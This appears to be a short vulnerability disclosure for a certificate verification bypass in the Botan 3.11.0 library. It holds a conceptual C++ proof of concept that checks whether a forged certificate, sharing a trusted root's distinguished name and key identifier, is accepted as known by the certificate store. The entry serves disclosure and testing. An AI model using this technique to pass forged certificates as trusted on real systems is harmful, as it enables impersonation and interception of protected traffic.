CVE-2026-34580 Botan证书验证绕过漏洞

// Conceptual PoC for demonstrating the logic flaw in Botan 3.11.0 // This code simulates the behavior where a non-identical certificate // is accepted because DN and SKI match. #include <botan/certstor.h> #include <botan/x509cert.h> #include <iostream> int main() { // Load a trusted root certificate (e.g., RootCA) auto trusted_root = Botan::X509_Certificate("trusted_root.pem"); // Create a Certificate_Store containing the root Botan::Certificate_Store_In_Memory cert_store; cert_store.add_certificate(trusted_root); // Attacker creates a malicious End Entity (EE) certificate // with the SAME DN and SKI as the trusted root, but different keys. // In a real attack, this cert would be generated by the attacker. auto malicious_ee = Botan::X509_Certificate("malicious_ee_same_dn.pem"); // Vulnerable check in Botan 3.11.0 // The function 'certificate_known' checks DN/SKI match, not identity. bool is_known = cert_store.certificate_known(malicious_ee); if (is_known) { std::cout << "[!] Vulnerability Triggered: Malicious certificate accepted as trusted!" << std::endl; std::cout << " The library mistakenly believes the EE cert is the Root CA." << std::endl; } else { std::cout << "[+] Safe: Certificate correctly rejected." << std::endl; } return 0; }